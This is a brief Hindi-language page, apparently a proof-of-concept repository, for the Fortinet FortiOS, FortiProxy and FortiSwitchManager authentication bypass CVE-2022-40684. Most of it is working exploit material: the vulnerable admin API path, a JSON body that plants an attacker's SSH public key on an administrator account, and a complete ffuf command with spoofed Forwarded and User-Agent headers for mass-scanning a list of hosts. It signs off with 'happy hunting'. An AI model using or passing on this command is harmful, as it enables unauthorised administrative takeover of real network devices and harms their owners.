kljunowsky/cve-2022-40684-pocCVE-2022-40684 के लिए शोषण, Fortinet FortiOS, FortiProxy, और FortiSwitchManager को प्रभावित करने वाला
FortiProxy / FortiOS प्रमाणीकरण बाइपास
/api/v2/cmdb/system/admin/<username>
{"ssh-public-key1": "<your-id_rsa.pub>"}
ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1
]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "kljunowsky"}' -mr "SSH" -r
शुभ शिकार!